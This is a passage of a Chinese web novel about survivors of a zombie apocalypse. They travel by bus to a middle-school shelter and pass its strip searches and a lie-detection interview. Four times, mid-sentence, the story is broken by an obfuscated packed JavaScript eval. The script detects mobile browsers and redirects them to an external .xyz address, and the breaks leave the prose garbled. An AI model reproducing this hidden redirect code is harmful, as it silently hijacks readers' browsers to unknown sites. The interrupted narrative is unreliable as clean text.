留在食堂里的人的前景并不算明朗,很多经常外出,有一定对付丧尸经验的学生都决定离开食堂了,留下的人大多是自从逃进食堂后就再也没外出过的人,在食堂现有的食物吃完后,他们会迎来怎样的结局? 这些问题无法细想。 到了晚上睡觉的时间,大家全部等在二楼,吴心语清点了一遍明天离开的人数,总共二十二人。 北城大学的校车共有两种,一种是专门往返于机场和火车站的大型客车,这种客车一般停靠在校外。而停靠在校内的则是有固定路线,从校门到不同教学楼和宿舍楼的校内中型巴士,共有十九座。 程煜作为司机坐在驾驶位,林晟则要站在他身旁帮他确认路况,剩余的学生们数量虽然有点多,但彼此挤一挤还是能够轻松坐下的。 第二天,池遥起床时看了一眼手表。 十一月七日,这是他们离开北城大学综合食堂,一同前往校外的日子。 这一天,末日降临刚好一个月。 吃完早餐后,众人聚在一楼,林晟对照着表格清点出和他们一起离开的人,而决定留下的人则和他们一一告别。 食堂的学生中有很多小团体,大多数都共同选择了离开或留下,但也有就此分开的,孔欣和周琳琳的朋友们就全部选择了留在食堂,她们两个被点到名字的时候,齐齐看向了站在林晟旁边的池遥。 “她们很信任你啊。”林晟在点完名后,朝池遥轻笑一声。 待大家都整装待发,吴心语深吸一口气,最后一次说出她每天上午都要重复的话语。 “各位注意,我要关掉防护罩了,大家不要出声,离开的人在门口排好队,郑承和程煜先走。” 郑承和程煜最先出了门,程煜在郑承的掩护下坐上了驾驶位,发动了车子,打开了车门。 在郑承的能力掩饰之下,附近仅有的两只丧尸并没有注意到这边的情况,等到两只丧尸摇摇晃晃地走远了,郑承才撤掉了能力,下车回到门口,对排队等在门口的学生们招了招手。 难得没有丧尸的片刻,二十多人沉默无声地依次迅速上车,林晟始终走在最后一个,蹙眉观察周围的动静,确保所有人都能安全上车。 这时,忽然传来一声丧尸的怒吼,刚刚走远的丧尸发现了这里的异状,朝着排在队尾的林晟冲来。 听到丧尸的声音,原本有序上车的学生们顿时慌了神,不由地推搡起来。 然而,还没到林晟面前,丧尸就摇摇晃晃地倒下了。 校车的车窗不知何时打开了,池遥反应极快,从车窗里探出半个身子,手中的钢管一下就捅穿了丧尸的脑子。 林晟也被刚才的变故吓了一跳,他虽然是食堂的组织者,但一直都在安全区域里控制无人机,很少与丧尸正面打交道。 他抬头看向池遥,想对她道谢,却看到池遥已经拉上了小半车窗,一只手拿着纸巾擦拭钢管上残留的丧尸组织,她的脸上,手上,钢管上全是丧尸的污血。 看到这个场面,林晟愣了一下,直到最后一个上车的学生朝他招手,他才意识到所有的学生都已经上了车,也跟着上了车。 池遥对着手表屏幕擦干净脸,才关紧车窗,松了一口气,这时林晟也最后一个上了车,程煜启动车子,一行二十多人正式踏上了校外的旅途。 “你觉得常青中学怎么样?”坐在池遥身边的郑承轻声问道。 车子行进起来之后,车厢里的学生才敢开口说话,但也尽可能压低音量,因为扶着栏杆站在驾驶位旁边的林晟一旦发现前面的情况,就会放大音量告诉车厢里的所有人。 “希望是个可靠的避难所。”池遥叹了口气,小声道,“现在已经十一月份了,气温降到零下了,如果曲卓不在常青中学的话,我想等你们安顿好之后,尽快启程去找曲卓,趁着还没到最冷的时候。” 北城的冬天从十一月份延续到三月,寒冷又漫长,而在最低温度能达到零下三十度的冬季,丧尸又会变成什么样,没有人能够预测。 在出发前,池遥将自己一直穿着的运动鞋换成了冬季的长靴,才终于感受到了迟来的暖意。 冬季正在临近,如果不尽快安顿下来,就算不被丧尸袭击,也很有可能在严寒中丧命。 在上车之前,池遥就将北城地图给了林晟,尽管程煜已经背下了从学校到常青中学的最短路线,但以防万一,还是让林晟拿着地图更加保险。 果然,校车刚离开校门不到十分钟,前面的路就被堵住了,有四五辆轿车连撞在了一起,堵死了整条道路,林晟只能对照着地图指引程煜绕路,原本半小时的路程被无限拉长。 之后前往常青中学的几条路都不太顺利,若是遇到丧尸,程煜还能直接撞上去,但每一次都是报废的车辆堵死道路,最后只能绕更远的路。 “看来想去避难所的人不止我们。”坐在二人身后的吴心语敲敲池遥的座椅靠背,轻声道。 “估计里面人不少啊。”非要坐在吴心语身旁的周文博也凑了上来。 这一路上遇到了各种困难,所幸最后校车绕了一个大弯子,终于开到了常青中学的侧门边,只不过花费的时间比预想中要多了几倍,他们绕了快两个小时才终于到常青中学附近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088140|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这期间,坐在窗边的池遥虽然时不时会和朋友们聊几句,但目光一直没离开过窗外,她不仅看窗外街道上丧尸的情况,还专注地搜寻路上是否有幸存者。 偶尔车辆经过丧尸不多的街道时,有路边的幸存者跑出来朝车上的人挥手,然而大家却只能麻木的看着,没有一个人开口。 车子停下时,池遥收回目光,轻轻地叹了口气。 果然,不该期待在路边就能轻轻松松找到曲卓的。 常青中学附近的街道上空空荡荡,看不到一只丧尸,程煜原本想把校车开到侧门门口停下,但却在半路上紧急刹了车。 车子一个急停,唯一一个站着的林晟差点摔倒,等他扶稳栏杆,向前看去,才发现,围绕常青中学周围一圈的路面上,洒满了倒置的钉子。 这些钉子体积小,数量多,在路面上不容易被发现,程煜和林晟都是通过钉子表面的反光发现的。 听到校车的声音,侧门的铁门后顿时出现了四五个人,全部一脸戒备地盯着停在侧门前的校车。 “我先下车吧。”郑承第一个站起来,走到车门前,“我去和他们交谈一下,看看里面什么情况。” 池遥扫视了众人一眼,见大家一时都没答话,也站了起来。 “我也一起去看看。” 不等大家同意,她就走到了郑承身边。 程煜坐在驾驶座上,和林晟对视一眼,才对他们点了点头。 “注意安全。” 说完,校车的车门缓缓打开。 郑承和池遥两人一起走下车,两人下车前就将所有的武器都收进了吊坠里,在下车暴露在铁门后的守卫面前时,第一时间举起了双手,绕过车行道上的钉子,缓慢地走向常青中学的侧门。 “干什么的?” 守在侧门前的人粗声粗气地问道。 “听说这里是避难所,我们想加入。”郑承开口道,“我们一共二十二人,都是北城大学的大学生。”说到这里,他顿了一下,“之前一直在校内,这是末日后第一次出学校。” 门内的守卫们讨论了几分钟后,才开口。 “这附近没有丧尸,你们带着自己的东西全部下车,列队站两排。”他指指侧门左侧通车的大铁门,“天赋者站这里,”又点了点现在几人说话的右侧小铁门,“普通人站这里。” “你们站好后,我们带你们进入,你们开来的车由我们接管,有意见吗?” 郑承愣了一下,没有接话,倒是池遥立刻开口。 “没有意见。那我们现在回车上让他们下车。” 两人转身朝校车走去。 “没关系的,看看程煜他们同不同意,不同意的话直接开车离开就好了。”快到校车时,池遥小声对郑承说道。 回到车上,两人传达了守卫的意思,程煜没有任何犹豫,立刻同意了。 “车上的燃油不多,今天又开了这么久,就算这辆车不给他们,我们也开不了多远了。”面对着池遥和郑承疑惑的目光,程煜解释。 于是,在林晟的指挥下,众人依次下车,在侧门前排队站好,依旧是程煜站在第一个,林晟站在队尾。 而池遥,郑承,吴心语三人则孤零零站在了左侧。 不多时,侧门打开了,守卫走出来,对程煜等人开口道。 “普通人,跟着我走。” 而池遥等人在门外又等了几分钟,才看到了一个穿着纯白色风衣外套的男人走了出来。 “天赋者请跟我来吧。” 男人看起来十分年轻,长相不突出,但让人看着十分舒服,他说话的语气十分平淡,但却并不让人反感。 侧门打开又关闭,池遥三人就这样跟着他进入了常青中学——和平区避难所。 25. 常青中学1 “非常抱歉,常青中学有相关规定,在进入避难所之前,要接受我们的安全检测。” 池遥本以为会直接进入常青中学校内,但男人只是带着他们顺着校园的围墙前进,最后进入了围墙边的一个小白楼当中。 打开小白楼的门时,男人开口道,语气依旧平和,但却带着几分威慑之意。 池遥没说话,在跟随男人进入楼道时,迅速摘下脖子上的吊坠,攥在手心里。 “女士们请进吧。”行至走廊尽头,男人打开门,是一个不大的小房间,空荡荡的小房间里,正中间摆放着四张合在一起的课桌,在课桌后,坐着一个看起来略显稚气的女孩子,她看起来年纪不大,甚至要比池遥还小一些。 池遥和吴心语一走进房间,男人就关上了房门,带着郑承离开了。 “所有东西全部放到桌上,我会一件件翻出来检查。”屋门一关,女孩就站起身来,目光从池遥二人身上扫过,“所有的衣服全部脱掉,放在桌上,只留内衣裤。” 池遥和吴心语对视一眼,将各自的包放在了桌上。 吴心语的行李较多,池遥因为有吊坠在手,只带了一个东西不多的背包。吴心语还在放东西的时候,池遥已经开始解外套扣子了。 脱掉外套,小小的吊坠仍旧被池遥握在手中。此时身旁的吴心语也开始脱外套,守在屋内的女孩靠在桌边,没有立刻去翻她们的东西,目光一直定在她们身上。 池遥的外套里是一件短袖,脱掉这件衣服就只剩下内衣了。她转了个身,背对着女孩,脱下了最后一件衣服,与此同时快速将吊坠塞进了内衣胸垫的夹层当中。 皮肤能够感受到隐隐的异物感,池遥走到女孩身边,将脱掉的衣物放在桌上时,无意中瞄了几眼藏吊坠的位置,还好,肉眼看上去并没有什么变化。 “站到门边。”等吴心语整理好,女孩指了指门后,目光在二人身上扫过。 她的目光并没有停留在被衣物遮盖的地方,检查了她们身上没有外伤,就收回目光,也没有动手检查。 情况比池遥设想的好了不少。 接下来,女孩检查了她们换下来的衣服,在检查完没有问题后,便让池遥和吴心语上前重新穿好。 以防万一,池遥并没有拿出吊坠,就这样穿好了所有衣服。 在两个女生穿衣服时,女孩仔细地拆开二人的包裹,取出每一样物品检查,但在检查完所有东西之后还会把物品重新归位。 “检查没有问题。”将二人的包裹还给她们之后,女孩一直紧绷的表情松动了些许,“一会儿许哥,就是刚才送你们来的人,他会回来问你们几个问题,回答完问题就算是过关了。” “你是常青中学原本的学生吗?”吴心语好奇地问道。 女孩冲吴心语点点头,但反而后退了几步,拉开了和她们之间的距离,于是吴心语也识趣地不再开口了。 没过一会儿,房门再度打开,刚才的男人再次折返了回来。 “两位,最后只需要回答我几个问题,就可以通过了。”他身边并没有郑承的身影,“你们的另一位伙伴已经回答完问题,先一步进入避难所了。” 原本站在不远处的女孩,一看到男人过来,立刻回到桌边的椅子上坐了下来。 “第一个问题,二位都是天赋者对吧?” 池遥和吴心语一起点头。 “请回答。” “是。” 隐隐约约的,池遥感觉到男人的目光停留在她身上的时间变长了。 “那么,两位,方便将你们的能力告诉我吗?” 这并不是什么难以回答的问题,池遥和吴心语没有任何犹豫,就说出了自己的答案。 “两位,能保证进入常青中学避难所之后,一直留在避难所内,守护避难所吗?” “能。”两人异口同声。 不知为何,池遥感觉到,男人似乎再次看向了她。 “如果避难所需要你们的力量,请问二位会服从避难所的安排吗?” “会。”再次异口同声。 “好的。”男人点了点头,目光看向她们身后的女孩,“蔓蔓,带这位小姐先去吧,”说到这里,他指了指站在池遥身边的吴心语。但被称为蔓蔓的女孩却没有动弹,而是用警惕的目光看向池遥。 “至于这位,我还有几个问题要问。”男人同样看向池遥,却没有对池遥表现出敌意,反而拍拍蔓蔓的肩膀。 “没事,你先去吧,这边没事的。” 等到蔓蔓带着吴心语一同离开房间,男人跟上去关紧了房门,与不明所以的池遥对视。 “不用紧张,小姐。”他的语气依旧慢条斯理,甚至伸出手,指了指刚才蔓蔓坐着的椅子,“您可以坐在这里,我们只是要继续展开一场普通的谈话而已,请不要多想。” “如你所见,负责接待天赋者的我们也同样是天赋者。为了表现我的诚意,我也会告知您我的能力。” “我的能力,简而言之就是——测谎,刚刚我提出的每一个问题,都在关注你们的答案是否真诚。”他静静地看着池遥,“唔,至于您,我并不认为您没有向我们展现真诚的态度,只是,我们可以再真诚一些。” 测谎? 没想到还有这一类能力。 池遥神色没有波动,注视着男人,微微点了点头,但心里却有些诧异。 那么,他此时对自己了解多少? 如果他的测谎能力真的完美无缺,那么,她从第一个问题就暴露了吧? 藏在桌下的手无意识地攥紧。 如果他已经知道了自己并非天赋者的事实,那么,他即将要问出的下一个问题是—— “请问,您知道在避难所外,除了丧尸之外,还有一种特别的生物吗?它们是由普通人变成的,严格来说也算是人类,但却和丧尸十分相似。” “您——不是那种怪物吧?” “当然不是。”池遥摇摇头。 没有给池遥反应的时间,在她回答后,下一个问题接踵而至。 “还有,您未来希望一直留在避难所里吗?” 池遥沉默了。 刚才,男人也问出了类似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097117|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的问题,池遥那时做出了肯定的回答。 但此时,得知了男人能力的池遥犹豫片刻,最终摇了摇头。 “我有其他要做的事,在我的伙伴们都在避难所安顿下来之后,我希望能够离开避难所。不过在此之前,我会留在这里。” “如果避难所发生危机,您愿意奉献自己的力量吗?” “我愿意。” 池遥的话音落下后,男人许久没有说话,直到池遥受不了这样沉默的氛围,轻咳一声,男人才朝她温和地笑了笑。 “我感受到了您的诚意,请跟随我来吧,我带您去避难所。” 池遥站起身,跟在男人身后,走出了房间。 然而,她心中的担忧并没有消散。 在得知男人的能力后,她的确没有说谎,但唯有她不是天赋者这件事,她不希望除了郑承以外的任何人知情。 走出房门,穿过小白楼的走廊,男人打开大门,下午的光线穿透昏暗的走廊,落在了池遥的身上。 “许哥!”同时响起的,还有蔓蔓的声音。 她并没有带吴心语离开,而是和吴心语一起等在大门前。 “这位小姐现在也是我们的一员了。” 男人拍拍池遥的肩膀,冲池遥和吴心语介绍道。 “我叫许赫,是半个月前来到避难所的天赋者。能力是测谎,不过这个能力偶尔会失效,所以刚才我提问的时候,有时把同一个问题问了两遍。这位是蔓蔓,是常青中学的学生,也是天赋者。” “我的能力是把人或物转移到其他地方,刚刚如果你们没有通过检测,或者做出危险行为,我就会把你们转移到校外的丧尸堆里。”蔓蔓举起两只手,故意压低声音说道。 “但你们已经是避难所的一员了,未来我们应该也会并肩作战,所以都是自己人啦。” 不过,她很快就转换成兴奋的语气。 “这里很好的!大家都是很好的人,一会儿进了校区,我们就把其他天赋者介绍给你们!” “天赋者真的特别稀有。”许赫在一旁向池遥和吴心语解释道,“我加入避难所这半个月以来,也没有见过几位天赋者,今天听说一次性来了三个天赋者,把她开心坏了,你们别看她表面装得严肃,其实心里开心得不行。” “能理解。”池遥点点头。 沿小白楼前的小路向前走,穿过一片树林,就来到了校园的主路上。 “这里就到了避难所的区域了。”许赫指着不远处一栋三层小楼,“这里以前是专门做模拟语言考试的地方,现在是避难所组织者和天赋者们的基地。大家会在这里开会和决议事情,也可以在这里休息。平时普通人不会来这里,里面几乎只有天赋者。” 他一边说,一边领着池遥他们朝小楼走去,走到楼下的大门附近,正有一个身材高挑的年轻女性打开门,走了出来。 许赫正要开口介绍,池遥身旁的吴心语已经冲了过去。 “庄晴!” 被她叫到名字的女生惊讶地转过了头,看到朝她跑去的吴心语,立刻张开双臂,抱住了她。 26. 常青中学2 “吴心语!你还活着!” 比起吴心语,庄晴看上去显然更加激动,她紧紧抱住吴心语,过了好久才放开。 “这......这就是我们的老大,庄晴,现在所有的天赋者都是由她管理的。”许赫愣了片刻,开始向身边的池遥介绍。 “池遥!”这时,吴心语已经拉着庄晴过来了,“这就是我之前和你说过的朋友!庄晴!” 庄晴个子十分高挑,一头利落的短发,五官端正明艳,身材健康有力,虽然看着纤细,但能看出手臂上的肌肉线条,看起来十分有安全感。 她看向池遥,目光短暂地将池遥从头到脚打量一番,随即冲她微微颔首。 “这是池遥,是一个很强很厉害的天赋者!她敢独自对付丧尸!”吴心语正在向庄晴介绍她。 “我刚刚就听说有一队北城大学的学生来了,还在想会不会遇到你,没想到立刻就见面了。”庄晴看起来也是百感交集的模样,“既然和蔓蔓他们在一起,就证明你也是天赋者吧?” 吴心语看向庄晴,点了点头,她和庄晴最熟悉,也承担了介绍的任务。 “我们一共有三位天赋者,除了我和池遥之外,还有一个男生,也是个很厉害的人。” “蔓蔓和许哥是在带你们介绍避难所吧,”庄晴看了一眼手表,随后冲一旁的两个人点了点头,“正好我还有时间,这两位是我的朋友,我来给她们介绍吧。” 陪在池遥身边的许赫蔓蔓两人顿时会意,转身离开了。 “你们着急去见朋友吗?”庄晴站在原地没动,“没有急事的话,我们找个地方,聊聊最近的经历吧。” 池遥还在犹豫要不要找个理由离开,给她们空间,但吴心语似乎看出了她的意图,紧紧地抓住了她的胳膊,不放她走,池遥也只得跟着她们进了小楼内。 这栋小楼以前是专门用来做留学考试和语言咨询的,里面有很多独立且私密性好的小房间。三人进了一间摆着好几个单人沙发的小房间,各自找地方坐了下来。 “我简单讲讲我的经历吧。”庄晴最先开口。 作为天赋者,末日降临前一个月,庄晴觉醒了皮肤硬化的天赋。 只要她心念一起,皮肤就能顺应她的想法变化硬度,甚至能够变得坚硬无比,刀枪不入。 庄晴起初没想过这会是特殊能力,只以为是稀有病症,不清楚自己身上为何会出现这样的症状。她那时又在海外留学,给好几所医院打电话都预约不到最近的日期。在网上查找自己的病症,得出的全部都是绝症和难以直视的病症图片。 她心一横,直接办了休学,定下了第二天回国的机票。在同一个学校留学的男朋友付恒也一起办了休学,陪她回国看病。 然而,回到北城后走访了多家医院,结果都是毫无问题,因为有健身习惯,她身体的各项指标甚至比普通人更加健康。庄晴当着医生的面展示了自己用能力硬化后的手臂,却仍然得不出任何结论。 反复折腾之下,庄晴终于认清了自己身体无碍的事实。但既然已经办了休学,她也不打算回去,索性和男友一起留在常青中学给学校里预备出国留学的学生们做指导。 庄晴的母亲在海外工作,父亲独自一人在家生活。因为和男友在一起,庄晴并没有和父亲居住在一起,而是在常青中学附近租住了一个带车库的公寓和男友同居。 末日降临那一日的凌晨五点,庄晴的男友付恒早起跑步,隔着窗户,望见了街道上的丧尸撕咬人类的场景。 他匆忙叫醒庄晴,两人第一时间给庄晴的父亲打电话,确认对方安全后,三人约在了常青中学见面。 按理来说,十月七日是常青中学住宿生们的返校日,学校里不可能没有学生。然而因为常青中学宿舍区在放假期间碰巧进行管道检修,工程受休假影响,直到返校日也没有结束,十月八日学校额外休息一天。 因此,丧尸爆发时,常青中学校园内空空荡荡,一个学生都没有,只剩下一个在校门口保安室里看门的大爷,这里可谓是最佳避难点。 就这样,庄晴和男友迅速收拾好家里的物资,搬到车上,驱车前往常青中学,在校门口等待的时候,庄晴还使用能力杀死了变成了丧尸的看门大爷。 她终于明白了,自己的能力并非意外,而是在末日中保护自己,保护亲人的武器。 之后,庄晴二人和父亲成功碰头,回到学校,将学校改建成为避难所,收容了众多幸存者,建立了现在的和平区避难所。 庄晴的经历在末日之下简直是分外幸运,这之后,吴心语也告诉了庄晴北城大学食堂内发生的事,池遥也把自己之前在校外的经历告诉了庄晴,着重说了自己一路以来遇到的行尸。 “简单说一下避难所的情况吧。”听完池遥的经历,庄晴的神色变得凝重了很多,“算上你们,现在常青中学里一共收容了一百三十多人,天赋者一共有十人。我父亲是对整个常青中学最熟悉的人,他也管理着整个避难所,普通人由我父亲管理,天赋者则是由我管理的。” “避难所里的物资按劳分配,完成每天的例行工作后会发放餐券,超额完成的部分可以兑换成少量物资。食堂每天只提供午餐,持餐券领餐。天赋者和普通人的待遇基本上没有任何区别,天赋者都在这个小楼工作,我们平时在这里部署工作。在这里生活,需要注意的大概就这些。” 庄晴说完,神色却并没有放松,而是又深深地叹了口气。 “但是,现在避难所面临着一个很大的问题,就是池遥你刚才提到过的那个,你们称为行尸,我们叫做怪物。” “你们过来的时候应该也发现了吧,常青中学外围的丧尸数量很少,但这并不是我们刻意干涉的结果,而是因为,这附近存在行尸,而且大概率不仅一只。” “池遥,你刚才说行尸驻扎的地方,一般不会出现丧尸对吧。” 池遥点了点头,思考了片刻,开口道。 “这只是我观察到的结果,还不能完全确定,我也只遇到过两只行尸。” “我们外出巡视的普通人小队不时就会有一整支队伍失踪,每次顺着他们失踪的路径去搜查,但每次都一无所获。而且这附近的丧尸数量稀少,外出的普通人都具备杀丧尸的手段和武器,不可能总发生整队一起失踪的情况。”庄晴叹了口气,“很有可能,对方是有智慧和思考能力的行尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102272|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们也在躲着我们。” “正因如此,我们对外来者的检查非常复杂,你们刚才也被翻了包,并且经过脱衣检查了吧。脱衣检查的主要目的是观察皮肤上是否存在尸斑。我们担心会有行尸伪装成人类企图混进来。普通人进入避难所要进行检查,天赋者还有许哥的问话和测谎环节,我们遇到过很多心怀不轨的天赋者,这种天赋者我们宁可直接剔除掉,也不能留着日后被他们背刺。” 池遥没想到,让她分外紧张的脱衣检查是这样的原因。 通过温俭的讲解,和她之前遇到的两只行尸,她已经形成了行尸与丧尸模样无异的刻板印象,但如果还有长相更像人类的行尸呢?如果只是她遇见的两只行尸碰巧与丧尸长得很像呢? 毕竟行尸就是人类变成的。 “原来是这样。”吴心语在一旁点头,“晴晴,你刚才说校内物资充足,那么还有必要外出巡逻吗?如果取消外出巡逻的制度,我可以打开防护罩,这样外面的行尸根本没办法进来。” “不行。”庄晴摇摇头,“一方面,我们不知道什么时候有幸存者来投奔,另一方面,外出巡逻还有一个很重要的目的,就是获取情报,除了丧尸行尸这些危机的情报,我想知道其他避难所的消息,如果可以的话也想联系到其他的避难所。等过了冬天,我们还有划分地块播种,自行生产的打算,这些都需要和外界联系。” “但你的防护罩真的很可靠,”庄晴又补充道,“这会作为避难所的最后一道防线,心语,能见到你真是太好了。” 吴心语顿时眉开眼笑,靠在庄晴身上蹭了又蹭。 “对了,刚才说到行尸的事,我们明天准备再顺着上一支队伍消失的路线看看,池遥你要加入吗?”庄晴看向池遥,“在行尸这方面,你比我们有经验,说不定你会发现什么。” “好。”池遥点点头。 “那基本就这样了。”庄晴看了一眼手表,“付恒一会儿就来接我了,你们还有什么问题吗?” 吴心语摇了摇头,而池遥抿了抿唇,有些犹豫地开口。 “庄晴,刚刚我说自己的事的时候,说到我和我最好的朋友曲卓失散了,请问你可以帮我查一查这里的幸存者名单上有没有叫曲卓的人吗?” “可以是可以,但我记得你之前说过,你的朋友也是天赋者,我们的天赋者里没有叫曲卓的人。普通人的名单也要帮你查查看吗?” “嗯。我手里还有她的照片。”池遥本能地伸手探上脖颈,后知后觉地想到吊坠还被她藏在胸衣里。 “照片就不用了。我一会儿和付恒去见我爸,到时候管我爸要来名单帮你查一下,晚点给你答复。”庄晴摆摆手,“不过,我还是劝你不要抱有希望。我觉得你找到她的概率不大。” 池遥垂下眼,点了点头。 “池遥,如果找不到你朋友的话怎么办,你要离开避难所吗?”庄晴问道。 池遥点了点头。 “但至少要确定避难所里的伙伴安全之后,我才能离开。”她补充了一句,“先帮你们解决行尸的麻烦,我再继续找曲卓。” 庄晴没说话,只是走到池遥面前,郑重地抱住了她。 27. 常青中学3 三人又聊了一会儿,一起走出小楼时,天色已晚,她们正好在大门口见到了庄晴的男友付恒。 比起长相明艳的庄晴,付恒的长相尽管并不难看,但实在是......有些普通。 付恒的个子也十分高,身材偏瘦,戴着眼镜,但长相并不出众,让池遥一瞬间幻视众多眼镜男,看上去就像池遥在早晚高峰的地铁上随处可见的文弱社畜男。 一见到庄晴,付恒就大步走到庄晴身后,动作娴熟地拎走了她肩上的包,之后就静静地站在庄晴身后,神情顺从,一言不发。 “这位就是你去年跟我说的男朋友吗?”吴心语开口问。 “对呀,我俩都在一起快两年了。”庄晴点点头,“不说了,我们先走了,你们顺着这条路往前走,前面就是食堂,这会儿其他天赋者应该都在食堂里,你们可以和他们见个面。” 池遥和吴心语望着庄晴和付恒并肩离开的身影,齐齐沉默,又同时叹了一口气。 “真想不明白,自己长得那么美,找个帅一点的不好吗?”吴心语摇着头感慨道,“这都什么眼光啊。幸好这男的看着还算老实,是个好人。” 池遥没接她的话。 她回想起了前段时间遇到的安娴夫妇,也是类似的配置。 安娴的丈夫虽然不爱说话,但却十分体贴关照,经常默默做事,举手投足之间流露出的全是对恋人的爱意。 与安娴丈夫对比,付恒看起来似乎少了点什么。 池遥思考了一会儿,也没想明白,最终归功于她想多了。 顺着庄晴指的道路,两人没一会儿就来到了食堂。 常青中学的食堂同样是一栋楼,一楼是多功能超市,如今超市已经被清空,积攒的物资整整齐齐的垒在墙边。二楼三楼是学生食堂,四楼是教师食堂。 走上二楼,整齐的餐桌边,坐着三三两两的幸存者,围坐在一起闲聊。 池遥和吴心语没有在人群中看到熟悉的人,就继续上了三楼。在三楼看到了两个熟悉的人。 “心语姐姐!池遥姐姐!”蔓蔓一脸兴奋地冲她们招手,在她身边,许赫看着池遥二人,深深地叹了口气。 “我就知道老大不会真的带你们参观避难所。” “她临时有事,给我们指了食堂的方向就走了。”吴心语开口道,“庄晴说天赋者这个时间都在食堂,但食堂不是只发放午餐吗?现在都晚餐时间了,怎么还有这么多人?” “对,但食堂是所有人每天都路过的地方,所以一旦有什么通知,也都写在这里。”许赫指向三楼墙上贴着的巨大公告板,末日前那是食堂的建议板,现在被划分成了三个区域。正中间张贴着避难所的规章制度,还有庄晴写下来通知所有人的重要消息。 而左边则是常青中学各部门的招聘告示,避难所内成立了众多部门,例如招新安检部门,就是池遥等人来到常青中学校门口时看到的守在大门口的保安,食堂后厨部门,宿舍后勤部门等等,这些工作贵在稳定,每工作一天就会得到一张餐券。 右侧则是每天不同时段的外出搜查小队排班表,外出搜查时间短,时间自由,三到五人一组,只要当日外出顺利归来,无论收获与否都能获得一张餐券。避难所里大多数有对抗丧尸经验的普通人都做外出搜查的工作。 为了获取信息,即便不是用餐时间,闲着没事的幸存者们也会自发地聚集在食堂内。 “不过天赋者聚集在这里并不是因为这个。”许赫指指通向四楼的楼梯,“成立避难所后,我们把四楼设立成了后厨,整个常青中学最最重要,最最宝贵的天赋者就在这里。我们每天这个时间点来食堂,是为了保护她。” 说着,他和蔓蔓站起身来,领着池遥二人朝四楼走去。 “虽然老大让我们注意保护岳老师,但是岳老师不喜欢这个说法,也不让我们保护她,所以我们几个天赋者总是轮流来食堂陪她说话,你们一会儿见到岳老师也不要说漏嘴。” 蔓蔓嘱咐道。 池遥点点头。 宝贵? 在末世,什么样的能力才可以被称之为宝贵? 池遥的脑海中第一个浮现出了安娴的面容。 对啊,资源,只有和赖以生存的资源直接相关的能力才是最为宝贵的。 食堂四楼的构造有点像美食城,除了外置的桌椅和美食档口之外,还有四五家开在食堂里的连锁饭店。 许赫和蔓蔓所说的天赋者,就坐在楼梯口不远处的桌子上,与周围的人说着什么。 四楼的人比二楼和三楼的少了不少,但全部都聚集在一起,将这位宝贵的天赋者围在中间。 而池遥和吴心语也在这群人中看到了熟人,在这里的除了郑承,还有池遥的舍友孟然和赵一宁。 “岳老师!我们带着新加入的朋友来找你啦!” 一来到四楼,蔓蔓叫出声,一溜烟跑到了人群当中。 “是吗。”被围在中间的女性看起来十分年轻,她穿着一套柔软的毛衣,黑色的长发用发夹挽成发髻,模样沉静温柔,也透出一种丝毫没有经受丧尸摧残的松弛感。 “这是岳溪,是常青中学的老师,也是天赋者。”许赫介绍道,“岳老师,这两位是北城大学的学生,是今天新加入的天赋者。哦对,”这话是对池遥和吴心语说的,“你们的另一位朋友也在这儿,我刚给岳老师介绍完。” “我是岳溪。”岳溪朝二人伸出手,靠近时,池遥闻到了岳溪身上的香味,是一种厚重却不刺鼻,令人安心的食物香气,“我的能力有点特殊,我的能力是每天可以生产二十斤面粉,食堂每天提供的午餐就是由我生产的面粉制作的。” 二十斤面粉! 池遥终于明白了庄晴当初说避难所内物资充足的底气所在。 也明白了面前这位天赋者的重要性。 她一个人的能力就能够解决避难所一百多人的温饱问题,这简直是末日最需要的能力! “我的天呐。”她不由地感叹一声,紧紧握住了岳溪的手,和吴心语先后介绍了自己。 “我是池遥,能力是治疗,不过限制很多。你的能力简直太强大了。” “不至于的。”岳溪冲池遥笑了笑,“你的能力同样很有用,避难所里一直药物紧缺,有了你的能力,想必情况会好转不少。” 那可高看她了。 池遥在心里抱怨了一句,借着岳溪和吴心语说话的空档,来到郑承身边。 “你怎么样?”看到她,郑承不由地拧起了眉头,他一边开口,一边伸出手指了指自己的喉咙。 “很顺利。”附近人太多,池遥不方便向他解释吊坠的事,于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 